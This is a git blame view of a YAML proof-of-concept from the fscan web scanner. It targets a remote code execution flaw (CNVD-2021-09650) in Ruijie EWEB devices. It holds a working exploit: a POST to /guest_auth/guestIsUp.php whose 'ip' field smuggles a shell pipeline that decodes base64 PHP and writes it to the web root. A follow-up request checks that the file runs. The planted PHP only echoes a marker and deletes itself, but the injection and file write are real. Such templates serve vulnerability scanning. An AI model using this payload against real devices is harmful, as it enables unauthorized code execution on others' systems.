fscan/WebScan/pocs/ruijie-eweb-rce-cnvd-2021-09650.yml

24 lines
678 B
YAML
Raw Normal View History

2021-08-31 11:17:46 +08:00
name: poc-yaml-ruijie-eweb-rce-cnvd-2021-09650
2021-04-18 10:38:46 +08:00
set:
2021-08-31 11:17:46 +08:00
r1: randomLowercase(4)
r2: randomLowercase(4)
phpcode: >
"<?php echo '" + r1 + "'; unlink(__FILE__); ?>"
payload: base64(phpcode)
2021-04-18 10:38:46 +08:00
rules:
- method: POST
path: /guest_auth/guestIsUp.php
2021-08-31 11:17:46 +08:00
body: |
ip=127.0.0.1|echo '{{payload}}' | base64 -d > {{r2}}.php&mac=00-00
2021-04-18 10:38:46 +08:00
expression: |
response.status == 200
- method: GET
2021-08-31 11:17:46 +08:00
path: /guest_auth/{{r2}}.php
2021-04-18 10:38:46 +08:00
expression: |
2021-08-31 11:17:46 +08:00
response.status == 200 && response.body.bcontains(bytes(r1))
2021-04-18 10:38:46 +08:00
detail:
2021-08-31 11:17:46 +08:00
author: White(https://github.com/WhiteHSBG)
2021-04-18 10:38:46 +08:00
links:
2021-08-31 11:17:46 +08:00
- https://xz.aliyun.com/t/9016?page=1
- https://www.ruijie.com.cn/gy/xw-aqtg-gw/86747/